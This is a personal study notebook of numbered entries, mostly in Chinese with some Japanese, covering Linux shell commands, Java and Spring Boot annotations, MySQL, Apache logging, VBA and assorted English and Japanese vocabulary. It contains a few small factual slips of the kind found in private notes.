36.ps -elf与ps aux是一样的意思, 显示所有在运行的进程,
【ps -aux】 标准格式输出,
【ps -elf】 bsd的格式输出.
标准格式: USER , PID , %CPU , %MEM , VSZ , RSS , TTY , STAT , START , TIME , COMMAND
bsd格式: F,S,UID , PID , PPID , C , STIME , TTY , TIME , CMD
// 都是 按照PID顺序排列
37.#!
#!是特殊的表示符 //Linux //注意,不要有多余的空格
#!/bin/sh是指此脚本使用/bin/sh来解释执行,
#!/bin/bash是指此脚本使用/bin/bash来解释执行
(默认是,/bin/bash)
・查看方式,echo $SHELL
第二篇、linux的默认shell查看方式._圆哥哥纳丶的博客-CSDN博客
・区别
关于#!/bin/bash和#!/bin/sh_好习惯成就伟大-CSDN博客_bin/bash
38.Jenkins
マイビュー(My View)
リストビュー(List View) (該当項目を選択して、Viewを作成して、各プロジェクトを区別する)
https://blog.csdn.net/shi_hong_fei_hei/article/details/111936258
39.リリース管理簿 かんりぼ
40.JDK 下载
Oracle Java Archive
Java Archive Downloads - Java SE 8u211 and later
41.集成测试:(IT/AT/结合测试)
完成单元测试后,各模块联调测试;
集中在各模块的接口是否一致、各模块间的数据流和控制流是否按照设计实现其功能、以及结果的正确性验证等。
测试方法一般选用黑盒测试和白盒测试相结合。
42.系统测试:(ST)
针对整个产品的全面测试,既包含各模块的验证性测试和功能性测试,又包括对整个产品的健壮性、安全性、可维护性及各种性能参数的测试。
系统测试测试软件《需求规格说明书》中提到的功能是否有遗漏,是否正确的实现。
做系统测试要严格按照《需求规格说明书》,以它为标准。测试方法一般都使用黑盒测试法。
43.Java启动参数
Java启动参数共分为三类;
其一是标准参数(-),所有的JVM实现都必须实现这些参数的功能,而且向后兼容;
其二是非标准参数(-X),默认jvm实现这些参数的功能,但是并不保证所有jvm实现都满足,且不保证向后兼容;
其三是非Stable参数(-XX),此类参数各个jvm实现会有所不同,将来可能会随时取消,需要慎重使用;
----
java -verbose:gc -Xloggc:/AAA/BBB/aaa-gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -jar /XXX/XXX/xxxx.jar --server.port=8081
命令行,使用java的java 命令,直接调用执行class文件_sun0322-CSDN博客_java 运行class文件
------
1.YYYY是表示:
当天所在的周属于的年份,一周从周日开始,周六结束,只要本周跨年,那么这周就算入下一年。
2.cron
crontab -l // 查看一览
cat /etc/crontab // 查看定义方法
linux定时任务cron配置 - controlV - 博客园
3.glassfish sessiontimeout
domainXX/config/domain.xml | grep -Hn timeout
4.responseURL
response.sendRedirect(URL) // java // HttpServlet.java
ajaxObject.responseURL // JS // IE is Not Support
5.responseURL // IE is Not Support // Ajax
----
XMLHttpRequest.responseURL - DOM - W3cubDocs
XMLHttpRequest.responseURL - Web APIs | MDN
----
6.getResponseHeader
response.setStatus(302); // 不写也可以
response.setHeader("location","url");
ajaxObject.getResponseHeader('location');
XMLHttpRequest.getResponseHeader - DOM - W3cubDocs
7.conflicts 英[kənˈflɪkts] // 冲突; 争执; 争论; // git 競合
8.Alignmenter 对齐,调整误差
9.systemctl status firewalld // linux 服务
10.java -Dloader.path=/AA/BB/CC/LIB -jar XXX.jar
11.缩写 // Linux 命令
Linux常见命令缩写 - mvpbang - 博客园
12.curl
・使用curl发送GET请求:curl protocol://address:port/url?args
・使用curl发送POST请求: curl -d "args" protocol://address:port/url
(curl -d "user=admin&passwd=12345678" http://127.0.0.1:8080/login)
・参数直接在header里面的,如需将输出指定到文件可以通过重定向进行操作.
(curl -H "Content-Type:application/json" -X POST -d 'json data' URL)
13.find
查找文件更新日时在距现在时刻二天以内的文件
find ./ -mtime -2
查找文件更新日时在距现在时刻二天以上(以前,之前)的文件
find ./ -mtime +2
查找文件更新日时在距现在时刻24小时之前的文件
find ./ -mtime +0
14.sensitive [ˈsɛnsɪtɪv] // case sensitive 大小写敏感
15.cp -i :若目的檔(destination)已经存在时,在覆盖时会先询问是否真的动作!
16./dev/null 空设备
tail -f /dev/null 让进程一直处于阻塞状态(即,不退出)
17.502 503
服务器常见错误代码500、501、502、503、504、505_总有些事,值得你去努力-CSDN博客
18.jobs -l // 夜间batch执行了 [xxx.sh &], 第二天,打开一个断面,执行此命令,什么也没有
jobs是查看当前后台作业(进程),是获取本次bash下的后台作业。
当本次终端退出后,后台作业变成孤儿进程,孤儿进程有系统父进程接管。
当再次连接终端时,原作业与当前终端,不存在关系父子关系,故看不到进程。
但是原作业,会在系统中一致运行,直到完成或被停止。
这就是为什么终端退出后,jobs看不到的原因了
19.ps -aux
psコマンドまとめ - Qiita
VSZ:指的是进程内存空间的大小,并不代表进程真正用到的内存,因为有些空间会仅在页表中挂个名,也就是说只是虚拟存在着,只有真正用到的时候内核才会把虚拟页面和真正的物理页面映射起来。比如,(malloc或mmap的调用),由于程序中并没有用到这些内存,没有物理内存被分配,也就不应算到进程的帐上。
RSS:(resident set size)表示常驻内存的大小,但是由于不同的进程之间会共享内存,所以把所有进程RSS进行累加的方法会重复计算共享内存,得到的结果是偏大的。
20.rpm // Linux インストールファイル
21.robocopy 2 1 /purge
./1 含有过长文件
./2 新建一个文件夹
robocopy
robocopy | Microsoft Docs
22.purge 英 [pɜːdʒ] 清除,清洗
23.401 Unauthorized
24.authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的
25.export [ˈɛkspɔːt] 输出,出口;
26.curl -X GET -H "sss" "http://sss"
27.-exec rm -rf // 区别 xargs
rm -rf - 春风一郎 - 博客园
28.Apache {Referer} //Log 每个页面的请求
29.GitHub操作 // 权限
GitHub 私人private仓库添加成员(协作者Collaborators)_不再更新,新博客 chgl16.space-CSDN博客_github 私人仓库怎么允许别人访问
30.とっぱん 凸版
31.RestTemplate // SpringFramework HttpRequest
32.BackQuote バッククォート 返单引号
33.java.time.LocalDateTime
LocalDateTime ldt = LocalDateTime.now();
ldt.plusMonths(5);
ldt.plusDays(5);
34.java.time.format.DateTimeFormatter
ldt.format(DateTimeFormatter.ofPattern("yyyyMMdd"))
35.refere (//http请求中的信息(Request Headers) // Apache log %r)
作用:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,
例:从主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
(Refer: http://sss/sss/ss)
补充:(Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了)
referrer 引用页; 引荐; 来源页面; 推荐人; 来路;
36.Apache Access Log
Apache日志配置参数详细说明 - EasonJim - 博客园
%U: 用户所请求的URL路径
%s: 状态。对于进行内部重定向的请求,这是指*原来*请求 的状态。如果用%…>s,则是指后来的请求。
Apache 记录请求响应时间日志 - 高艳兵 - 博客园
%D - 官方解释:Time taken to process the request, in millis,处理请求的时间,以微秒为单位
%T - 官方解释:Time taken to process the request, in seconds,处理请求的时间,以秒为单位
%{ms}T - 官方解释:Time taken to commit the response, in millis,提交响应的时间,以毫秒为单位
37.logging.level.ROOT
//application.properties
// org.springframework.boot.logging.LoggingSystem
38.logback
// Spring boot 默认使用 logback作进行日志输出。
// org.springframework.boot.logging.logback.LogbackConfigurator
// org.springframework.boot.logging.logback.LogbackLoggingSystem
logging.level.root不起作用(spring Boot)-Java 学习之路
39.ResourceBundleMessageSource // 对于支持国际化的应用程序,它需要能够为不同的语言环境解析文本消息。
40.@PostConstruct
// :@PostConstruct该注解被用来修饰一个非静态的void()方法。
// 被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器执行一次。
// 应用,LogFactory
@PostConstruct注解_致终将逝去的编程青春-CSDN博客
41.org.slf4j.LoggerFactory
42.spring 配置文件 加载
// SpringBoot配置文件默认为application.*和application-default.*,
// 如果通过spring.config.name属性指定了自定义配置文件名则加载读取指定的配置文件;
// 扩展名有四个:*.properties、*.xml、*.yml、*.yaml;
43.spring 配置文件 加载顺序
// application.properties
// logback-spring.xml
// 可以使用application.properties中的属性,不如【logging.file】
Spring Boot 使用 spring.profiles.active 来区分不同环境配置_长安明月的博客-CSDN博客_spring.profiles.active
44.logback-spring.xml
//
//
45.spring.profiles.active
// spring boot允许你通过命名约定按照一定的格式(application-{profile}.properties)来定义多个配置文件,
// 然后通过在application.properyies通过spring.profiles.active来具体激活一个或者多个配置文件
// 开发环境
// java -jar app.jar --spring.profiles.active=dev--server.port=8060
// 测试环境
// java -jar app.jar --spring.profiles.active=qa --server.port=8060
// 生产环境
// java -jar app.jar --spring.profiles.active=prod --server.port=8060
46.YML 配置文件横线 “-” 的作用
// 合类型属性 // List
// spring.profiles.spring.profiles.active 设置值时,前面要写 -
spring.profiles:
active:
- prod
// 定义在YMLファイル里面,还需要创建其他的文(application-{profile}.properties)件才有意义。
Spring Boot 使用 spring.profiles.active 来区分不同环境配置_长安明月的博客-CSDN博客_spring.profiles.active
47.apachect1 configtest
48.lsof -i:80
49.内容を修正しておきます。我会修改内容。
50.連絡させてくだいさい。请让我联系一下
51.Unicode \uAAAA 两个字节,
52.・SpringWeb.jar
@SessionAttributes
若希望在多个请求之间共用数据,则可以在控制器类上标注一个
@SessionAttributes,配置需要在session中存放的数据范围,
Spring MVC将存放在model中对应的数据暂存到HttpSession 中。
@PostMapping
@GetMapping
53.删除表时,表中的触发器会被同时删除吗
删除表触发器肯定被删除了,触发器是针对表的,表没了,触发器自然消失了,没有表可以依赖了
54.@Target(ElementType.TYPE) // 接口、类、枚举、注解
@Target(ElementType.TYPE) // 接口、类、枚举、注解
55.GC分类
Full GC (MeateData GC Threshold) // 系统启动时频发
Full GC (System.gc()) // 每3600秒一次
56.delimiter //mysql相关
delimiter //
delimiter ;
以【//】作为分隔符,代表SQL的结束。替代之前的【;】
通常使用在存在过程的开始与结尾。
※:以命令行的形式,连接到数据后执行。(直接在工具中执行不好用,比如A5)
01.cron
查看用户下的定时任务:crontab -l或cat /var/spool/cron/用户名
编辑(Vi):cron -u 用户名 -e
编辑之后,不需要重新启动服务
前提,需要启动服务
/sbin/service crond start //启动服务
linux定时任务cron配置 - controlV - 博客园
02.NFS挂载
showmount -e localhost #查询本机nfs共享目录情况
/AAA/BBB/CCC 192.168.1.122/24,192.168.1.123/24
(对 192.168.1.122,192.168.1.123者两个IP地址共享此目录)
前提,需要启动服务
service rpcbind start
service nfs start
Linux NFS挂载 - 整合侠 - 博客园
03.ICMS MYSQL
04.累積 るいせき
05.Reference [ˈrɛfərəns] 引用 // java
06.Reflection [rɪˈflɛkʃən] 反射 // java
07.日次 ひつぎ
08.進捗最優先 (「手空なし、調整のため、進捗遅延になる」良くないこと、不正確なこと)
09.immutable [ɪˈmjuːtəbəl] adj. 永远不变的 // java String
a = a + b;
a = ”newStr“;
ーーー
10.protected public // java
11.方法签名与方法重载
java 平台靠方法的签名来区分方法。方法签名由方法名和方法参数类型组成。
当一个类中有两个或多个具有相同方法名和不同的参数类型的方法时,就是重载。
12.switch case
当每一个case都不存在break时,匹配成功后,从当前case开始,依次返回后续所有case的返回值。
java中的switch case语句 - fcyh - 博客园
13.throws throw
14. try catch finally 顺序
java中 有return 的情况,return以及try,finally代码块的执行顺序_sun0322-CSDN博客
15.LocalDateTime // JDK1.8 // java // 时间 java.time
16.try-with-resources
【JDK8】try-with-resources & AutoClosable - 飞翔在天 - 博客园
17.AutoCloseable
try-with-resources 要求关闭的资源必须实现AutoCloseable接口
---
18.Linux 查看目录所占用空间大小
du -sh DirPath
files — ファイルのduのみでサイズを取得する
19.logback //spring
使用logback输出日志,自定义输出格式__William_Cheung的博客-CSDN博客
20.mysql -e 'select xxx from xxx where xxx'
21.which sss
查看执行文件的位置
(搜索某个系统命令的位置,并且返回第一个搜索结果。
也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。 )
which sss
/bin/sss
22.软连接(创建) シンボリックリンク
ln -s /AAAA/BBBB/CCC/DDD/sss /bin/sss
23.软连接(删除)
ulink /bin/sss
24.Python Linux
Linux系统安装Python3环境(超详细)_L-CSDN博客_linux安装python
25.Supplier 英 [səˈplaɪə] n. 供应者;供应国;供应商 // Java 接口函数
26.Function // Java 接口函数
27.Predicate 英 [ˈprɛdɪˌkeɪt; ˈprɛdɪkɪt] adj. 谓语的 v. 断言;使…基于 // Java 接口函数
28.Consumer // Java 接口函数
Java学习(更新中)_sun0322-CSDN博客
29.decimal 英 [ˈdesɪməl] n. 小数 adj. 十进位的;小数的 // Java Big Decimal
https://blog.csdn.net/sxzlc/article/details/108139670
30.Suppress [səˈprɛs] 制止;镇压;平定;// java @SuppressWarnings
// 所标注内容如果产生警告,指示编译器去忽略注解中声明的警告。
31.surprise [səˈpraɪz] 惊奇,诧异;
32.agenda 英 [əˈdʒendə] (会议的)议程表,议事日程;)
33.Consumer、customer区别
====
・consumer是买了商品,而使用某某商品的人,
・customer只是指买该商品的人但不证明他/她有使用该商品的人.
====
34.Consumer [kənˈsjuːmə] 消费者,顾客 // Java 接口函数
35.customer /ˈkʌstəmə/ 顾客
36.・Qualifier 英 [ˈkwɒlɪˌfaɪə] n. 合格者;修饰语;预选赛 // Spring // use with Autowired
public class TestServiceImpl {
@Autowired
@Qualifier("userDao")
private UserDao userDao;
}
37.@Autowired // @Autowired是由Spring框架自身提供的
// @Autowired按byType自动注入,而@Resource默认按 byName自动注入
38.javax.annotation.Resource // @Resource 不是Spring自带的注解
public class TestServiceImpl {
// 下面两种@Resource只要使用一种即可
@Resource(name="userDao")
private UserDao userDao; // 用于字段上
@Resource(name="userDao")
public void setUserDao(UserDao userDao) { // 用于属性的setter方法上
this.userDao = userDao;
}
}
39.・javax.inject.Inject // @Inject同样不是Spring自带的注解
@Inject
@Named("namedBean")
private MyClass MyClass;
40.在SpringBoot开发中,当一个接口A有多个实现类时,spring会很智能的将bean注入到List或Map
@Autowired
Map personMaps;
SpringBoot中 使用@Autowired 将bean注入到List或Map等集合中_IT- 研究者-CSDN博客_springboot 注入list
41.join()的使用场景
在很多情况下,主线程创建并启动子线程,如果子线程中要进行大量的耗时运算,
主线程将可能早于子线程结束。如果主线程需要知道子线程的执行结果时,
就需要等待子线程执行结束了。主线程可以sleep(xx),但这样的xx时间不好确定,
因为子线程的执行时间不确定,join()方法比较合适这个场景。
Thread之三:Thread Join()的用法 - duanxz - 博客园
即,主线程等待子线程的终止。
也就是说主线程的代码块中,如果碰到了t.join()方法,
此时主线程需要等待(阻塞),
等待子线程结束了(Waits for this thread to die.),
才能继续执行t.join()之后的代码块
42.レトロフィット
(【英】retrofit;给机器设备装配(新部件); 翻新; 改型)
43.TimeUnit.SECONDS.sleep(55);
-----
TimeUnit.SECONDS(5)线程等待五秒
TimeUnit.MILLISECONDS(5000)线程等待五秒.
两者的时间单位不一样。
内部都是Thread.sleep实现
------
44.ずつ
毎日2時間ずつ勉強する // 每天学习两个小时
45.頭痛 ずつう
46.クリップボード 粘贴板 (Ctrl +c)
1.SQL 表连接
left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录
right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录
inner join(等值连接) 只返回两个表中联结字段相等的行
17MyCat - 分片join(join 的概述)_阿甘兄-CSDN博客
2.Linux单引号
’单引号括起来的字符都作为普通字符出现。特殊字符用单引号括起来以后,也会失去原有意义
'${AAA} ssss' 不会输出变量的值
Unix_Linux_常用命令总结_sun0322-CSDN博客
3.输出两天之前的日期
date1=`date +%Y%m%d --date='2 days ago'`
date1=`date +%Y%m%d --date=“2 days ago”`
// 也可以使用双引号,这样数字 2 的部分就可以使用变量了 ${DAYS}
4.propagation [ˌprɒpəˈɡeɪʃən] 传播;繁殖,增殖 // spring 事物传播设置
5.repeatable [ri'pi: təbl] 可重复的 ( 实验、 实验结果等) 可复验的
// mysql 默认的事物 隔离级别(事物内,每次的查询结果都相同)
// 事物隔离相关的设置
有四种事物隔离级别
6.UNC(Universal Naming Convention)
UNC路径就是类似\\softer这样的形式的网络路径。
格式: \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
使用,cmd cd跳转目录时,会出现"CMD does not support UNC paths as current directories."的提示
解决方案1
pushd,使用"pushd unc_path"可以将UNC路径映射成本地的Z盘
执行该命令后,下一个提示符就不是原来的C:\>,而是Z:\>,即已经映射成功的UNC路径。
别忘了使用【popd】将映射断开。断开后,提示符又变成了原来的C:\>
CMD does not support UNC paths as current directories.的巧妙解决方案 - ini_always - 博客园
解决方案2
使用powershell
cd "unc_path"
7.Universal [ˌjuːnɪˈvɜːsəl] 全世界的 adj. 普遍的,共同的;广泛适用的 // UNC PATH
8.Convention [kənˈvɛnʃən] n. 大会;习俗,惯例;传统风格;协定 // UNC PATH
9.conflicts [kənˈflɪkts] 冲突// Git Merge 競合(きょうごう)
10.查看所有存储过程 // mysql
select name from mysql.proc where db = 'XXX' and type = 'PROCEDURE'
11.・「単項演算子が予期されます」を抑制する
if [ $RETCODE -ne 0 ]; then
...
fi
// RETCODE 如果没有被设定初期值,则会出现如上错误。
「単項演算子が予期されます」を抑制する – Information
12.蓄積 ちくせき 知識蓄積
13.畜生 ちくしょう
14.Spring
Spring IoC是一个容器。它是装对象的。
主要就是通过搜索class的路径。找出bean对象,实际就是根据反射来获取这个bean对象
Class> classit=Class.forName("com.jinglin.model.Person");
Person p =(Person)classit.newInstance();
15.IOC
Inversion of Control
控制反转的容器。
把对象的获取的主动权交出去(不是技术,而是一种设计思想。)
传统Java SE程序设计,我们直接在对象内部通过new进行创建对象,是程序主动去创建依赖对象;
而IoC是有专门一个容器来创建这些对象,即由Ioc容器来控制对 象的创建;
16.DI
DI—Dependency Injection 依赖注入
IoC的一个重点是在系统运行中,动态的向某个对象提供它所需要的其他对象。
这一点是通过DI(Dependency Injection,依赖注入)来实现的。
17.Inversion [ɪnˈvɜːʃən] n. 倒转,否定,倒置
18.AOP
AOP (Aspect Orient Programming), 面向切面编程(AOP 是一种编程思想)
AOP 领域中的特性术语:
-------------------
通知(Advice): AOP 框架中的增强处理。通知描述了切面何时执行以及如何执行增强处理。
连接点(join point): 连接点表示应用执行过程中能够插入切面的一个点,这个点可以是方法的调用、异常的抛出。在 Spring AOP 中,连接点总是方法的调用。
切点(PointCut): 可以插入增强处理的连接点。
切面(Aspect): 切面是通知和切点的结合。
引入(Introduction):引入允许我们向现有的类添加新的方法或者属性。
织入(Weaving): 将增强处理添加到目标对象中,并创建一个被增强的对象,这个过程就是织入。
-------------------
Spring AOP——Spring 中面向切面编程 - SharpCJ - 博客园
---
---
19.primary 英 [ˈpraɪmərɪ] // spring //sql
n.首选(@primary // spring);候选人初选会;预选;原色
adj. 初级的;基本的;最早的,原始的;原生的;首要的,主要的(primary key // sql)
// 常使用@Autowired, 默认是根据类型Type来自动注入的。
// 有可能产生歧义,使用@primary可以消除歧义
@Primary_javashareauthor的博客-CSDN博客_java primary
20.Optional adj. 可选择的;选修的;随意的,任意的 // Java8 Sytream (findFirsit等方法的返回值类型,允许对象为空) 使用get方法获取对象
21.option n. 选择权;选项;选修课
22.present // Java8 Optional.isPresent 出席的,在场的 (对象为空时,返回false)
adj. 目前的,现在的;出席的,在场的;现在时态的
v. 赠送;提出;介绍;举枪瞄准;呈现
n. 礼物;现在
23.awk
取得第二个目录的名字
pwd | awk -F'/' '{print $3}'
※:注意引号的使用
F:field-separator
24.Team中复制,tab变成了space
範囲選択をしてコピーをする際に、TABがスペースになるのですがこれをTABのままコピーバッファに入れることは出来ないでしょうか。
チケット #33717: TAB文字をTABとしてコピー - Tera Term - OSDN
25.diff a.txt b.txt
< a.txt中,差异的部分
---
> b.txt中,差异的部分
26.Linux 特殊符号【;】
if [ "$PS1" ]; then echo test is ok; fi
需要两个分号才为正确的语句,
第一个分号是then前的分号,用于标识条件块结束,
第二个分号在fi前,用于标识then块结束,
如果缺少这两个分号,则程序执行错误。
※:注意:语句结尾不要分号。
27.shell case
https://blog.csdn.net/czh500/article/details/84782406
case 语句以"case"开头,以"esac"结尾。
在每个分支程序之后要以";;"(双分号)结尾,代表该程序段结束(千万不要忘记)。
28.Thymeleaf [taim li:f] // spring boot 前台
(thyme 英[taɪm] 百里香(一种植物,叶小,有香味,可作烹饪调味品); leaf 叶; 叶片; 叶子; 有)
Spring官方支持的服务的渲染模板中,并不包含jsp。
而是Thymeleaf和Freemarker等,
而Thymeleaf与SpringMVC的视图技术,及SpringBoot的自动化配置集成非常完美,几乎没有任何成本,你只用关注Thymeleaf的语法即可。
Thymeleaf入门到吃灰 - 鞋破露脚尖儿 - 博客园
史上最详 Thymeleaf 使用教程 - 技术经验 - W3xue
29.getInstance
这是单例模式,一般用于比较大,复杂的对象,只初始化一次,
应该还有一个private的构造函数,使得不能用new来实例化对象,
只能调用getInstance方法来得到对象,
而getInstance保证了每次调用都返回相同的对象。
30.ポジション position;地位,职位。
31.accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
32.rank [ræŋk] n. 排;等级;军衔;队列;行列
33.date_sub(d, INTERVAL expr type)
MySQL计算日期的函数DATE_SUB(d,INTERVAL expr type)_Java 小菜鸟-CSDN博客
34.cp -ip
询问是否覆盖文件时,必须输入 Y 才能覆盖。
直接回车,无法覆盖文件。
1.SQL関数
str_to_date("20210901","%Y%m%d")
2.VBA条件分支(ELSEIF之间没有空格)
IF 条件 then
ELSEIF 条件 then
。。。
ELSEIF 条件 then
。。。
ELSE
。。。
End If
3.innovation [ˌɪnəˈveɪʃən] n. 革新,改革;新方法;新制度
4.society [səˈsaɪətɪ] n. 社会;社团;社交界;交往;
---
5.situation [ˌsɪtjʊˈeɪʃən] 情况;状况;局面;
6.solution [səˈluːʃən] 解答;解决方案;溶液;溶解
7.benefits [benifits] 优势,益处,成效
---
8.industry [ˈɪndəstrɪ] 企业,行业;
9.poverty [ˈpɒvətɪ] n. 贫穷;贫乏;低劣
10.collaborate [kəˈlæbəˌreɪt] 合作;勾结
11.Microsoft Edge(エッジ)
12.[.msu] 后缀 // windows系统安装包
13[.msi] 后缀 // windows系统,Edge安装包
14.bat运行失败的原因,目录中含有「英数」之外的文字
15. 坑 Eclipse 格式化 XML文件时,
16.知识点:xml可以复制到Excel中。按所有的项目,列出每一列。
17.Generic 泛型
package com.sxz.test;
import java.util.ArrayList;
import java.util.List;
public class TestStreamAPI {
public static void main(String[] args) {
List list= new ArrayList<>();
list.add(1);
list.add(2);
list.add(3);
list.add(4);
list.add(5);
list.add(6);
list.stream().forEach(item -> {
System.out.println("item="+item);
});
}
}
18.inflating // unzip 膨胀
19.mysql创建索引(大数据)
4000万条数据创建索引需要多长时间?-CSDN论坛
20.NoMergeBaseException // Eclipse Git
eclipse - EGit - more than 200 bases exception on merge - Stack Overflow
21.MySQL Explain详解
MySQL Explain详解 - 杰克思勒(Jacksile) - 博客园
22.vi、vim (which)
・vi编辑器是所有Unix及Linux系统下标准的编辑器。
・vim 具有程序编辑的能力,可以以字体颜色辨别语法的正确性,方便程序设计;
vim可以当作vi的升级版本,他可以用多种颜色的方式来显示一些特殊的信息。
23.which 哪一个 // Linux 命令
24.switch 开关 // java switch case
25.查看trigger 一览
SELECT trigger_schema,trigger_name FROM information_schema.triggers;
(一览显示效果,比show trigger 效果更好)
26.查看含有某些关键字的Trigger
show triggers where statement like '%KEY_WORD%';
(比如存储过程的关键字,Trigger调用存储过程)
(Trigger时属于数据库的,要先切换DB use XXX)
27.outlook中间区域看不到邮件正文,只显示了邮件列表
视图 ⇒ 阅读窗格 ⇒ 选择“向右” 即可
(表示 ⇒ レイアウト⇒ 閲覧レイアウト ⇒ 右(R))
28.閲覧(えつらん)
29.mkdir m755 TEST_FOLDER // OK 没有问题(m755 可以没有空格)
30.割当 分摊。分配。分担(量)。分派。
31.差し戻し 退回。上交的文书、案件等被退回
32.国慶節(こっけいせつ)
33.formula 英[ˈfɔːmjələ] 公式; 方程式; 计算式; 分子式; 方案; 方法;
01.SSD 固态硬盘(Solid State Disk或Solid State Drive)
02.购买固态硬盘,需要满足的条件
-----------------------
1 :主板上带有m.2接口
2:接口支持2280规格
3:支持对应的m.2协议(sata协议或者nvme协议。)
-----------------------
03.TMP2.0 (Trusted Platform Module)// 硬件 // win11
(开机F2 (进入主板设置) --- settings ---secunty --- Trusted Computing )
04.SPM (super position model) // 统计页面的PV
SPM 超级位置模型_简简单单Onlinezuozuo-CSDN博客_spm埋点
SPM需要解决的问题
统计页面的PV
追踪页面来源
记录来源页面的触发链接
---
例:统计投放效果
如一个双11的广告页需要投放到微博、知乎和优酷等渠道,
只需要为每个渠道指定一个编码,
后续可以统计每个渠道的投放效果,事后按流量计费进行费用结算。
05.命令history // Linux
在“~/.bash_history”(“~/”表示用户目录)文件中保存了n条,之前使用过的命令
(貌似只有root用户下面,才有这个文件)
06.遅くとも 最晚,至迟
遅くとも月曜日までには帰る
遅くとも明日中には返事をする
07.レトロフィット retrofit;给机器设备装配(新部件); 翻新; 改型
08.コミュニケーション時注意点
【提案時】
1.品質に対して、考慮。(連絡人に、影響なしこと伝えて)
2.お客様に対して、考慮。(もし、以前決定したこと(例:STケース)変更なら、どのように説明します。)
3.上記「1、2」があるの場合、直接「提案記載して連絡しない」、電話の方式で確認方がいい。
【作業ミスある時】
1.「申し訳ございません。」で連絡します。
2.連絡時、自分のミスを承認します。
09.mysql timestamp datetime
MySQL中datetime和timestamp的区别及使用_MrHuang-CSDN博客
10.修改【图表】的【数据源】的据范围
ActiveChart.SetSourceData Source:=Range:=Range("B2:F2222")
Excel 修改 【数据图表】 的 【数据源】 的范围 (VBA)_sun0322-CSDN博客
---
※:前提:图表已经做好(即,那些数据列 在图表中显示,已经设定好了)
录制一个宏
宏中只保留上记一行代码
选择图表,使用快捷键,运行宏
※:范围说明
"B2:F2222" (如果纵轴只显示 D列的数据, 也选择全部的数据范围)
⇒ 第二行是标题行,第三行开始是数据
⇒ B列是横轴的内容
---
11.INTVL // interval [ˈɪntəvəl] // 间隔;间距;幕间休息;区间
// バッチ起動 08:00~17:00 ※30分おき // A-AUTO
12.Defender [dɪˈfendər] // 防守者; 后卫; 防守队员; 守卫者; 保护人; 防御者;
Defender // 杀毒软件
23.準ずる じゅんずる // 准,以……为标准,按照,依照。遵从某根据
14.キューイング // 插入字幕(电视节目中);嵌入;尾接
// A-AUTO 夜間バッチ、まだ実施されない、「監視一覧チャート」で表示されない(今はまだキューイングされてないです)。
15.IOException: (line 1) invalid char between encapsulated token and delimiter
相关类:
org.apache.commons.csv.CSVFormat
org.apache.commons.csv.CSVParser
org.apache.commons.csv.CSVRecord
org.apache.commons.csv.CSVRecordIterator
原因:处理的数据中含有双引号
「...,"aaa","bbb","cc\"cc","ddd"...」
「...,"aaa","bbb","cc\"cc","ddd"...」
16.エクスペリエンス experience ;经验。(経験、体験といった意味。)
17.大规模MIMO (massive MIMO) // 5G
其定义为在发射端和接收端分别使用多个发射天线和接收天线,使信号通过发射端与接收端的多个天线传送和接收,从而改善通信质量。
5G大规模MIMO技术_cebiaoshu0745的博客-CSDN博客
18.波束形成技术(beamforming) // 5G
目的:使多元阵构成的基阵经过适当处理得到在预定方向上的指向性。
意义:对于一个发射系统,具有指向性意味着发射能量可集中在某一方向,这样可以用较小的发射功率他侧更远距离的目标;对于一个接收系统,可以使系统定向接收,从而抑制其他方向的信号个干扰,准确测定目标方位。
方法:对各个阵元进行处理(加权、延时、求和等)形成空间指向性。
【实验5】——波束形成技术_朱坚强的博客-CSDN博客_波束形成技术
19.排 platooning // 5G
Platooning 技术可以尽可能缩短卡车之间的距离,减小后面卡车受到的风阻,以此来省油。
(包括车辆编队行驶(Vehicles Platooning)、
20.像素流 pixel streaming // 5G
PixelStreaming自UnrealEngine4.21版本开始提供测试,能够向Web浏览器发送高质量的可视化内容,让移动设备和轻量级Web浏览器能够轻松浏览工作站品质的3D图形。
PixelStreaming 局域网及公有云部署全流程记录 - 知乎
21.5G与边缘计算 (5G and edge computing ) // 5G
5G与边缘计算_u010199413的专栏-CSDN博客
22.物联网
23.块链
24.同质化代币
FT(Fungible Token),相互能够替换、可接近无穷拆分的token。
(fungible adj. 可代替的;【法】可互换的)
25.非同质化代币(NFT)
非同质化代币,具有不可分割、不可替代、独一无二等特点。
26.mysql datetime与timestamp区别
mysql datetime与timestamp区别_wangjun5159的专栏-CSDN博客_mysql timestamp和datetime区别
datetime与时区无关、timestamp与时区有关
show variables like ‘%time_zone%’
set time_zone ='+0:00'
date,时分秒都存储了,但只显示日期。对应Java中的java.sql.Date
27.SpringBootApplication
SpringBoot启动类@SpringBootApplication注解背后
SpringBoot启动类@SpringBootApplication注解背后的秘密_怪咖软妹@的博客-CSDN博客_springboot启动类
1、@Target(ElementType.TYPE)
2、@Retention(RetentionPolicy.RUNTIME)
3、@Documented
4、@Inherited
5、@SpringBootConfiguration
6、@EnableAutoConfiguration
7、@ComponentScan
28.SpringBootApplicationd的替代
@Configuration
@EnableAutoConfiguration
@ComponentScan
29.@Configuration
作用:指定当前类是一个配置类,在使用spring的时候刚开始都是xml配置,也正是这个注解,开启了类配置方式。
30.@EnableAutoConfiguration
EnableAutoConfigurationImportSelector:导入哪些组件的选择器;
会给容器中导入非常多的自动配置类(xxxAutoConfiguration);
(点进去会发现@Import,说白了他就是借助@Import的支持,收集和注册特定场景相关的bean定义。)
32.@EnableAutoConfiguration
・@Import作用:用于导入其他的配置类
@EnableAutoConfiguration也是借助@Import的帮助,将所有符合自动配置条件的bean定义加载到IoC容器,仅此而已!
33.@ComponentScan
作用:用于通过注解指定spring在创建容器时要扫描的包
我们可以通过basePackages等属性来细粒度的定制@ComponentScan自动扫描的范围,
如果不指定,则默认Spring框架实现会从声明@ComponentScan所在类的package进行扫描。
★:这也就是springboot启动类为什么放在包外的原因。
34.@Retention(RetentionPolicy.RUNTIME)
Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力;
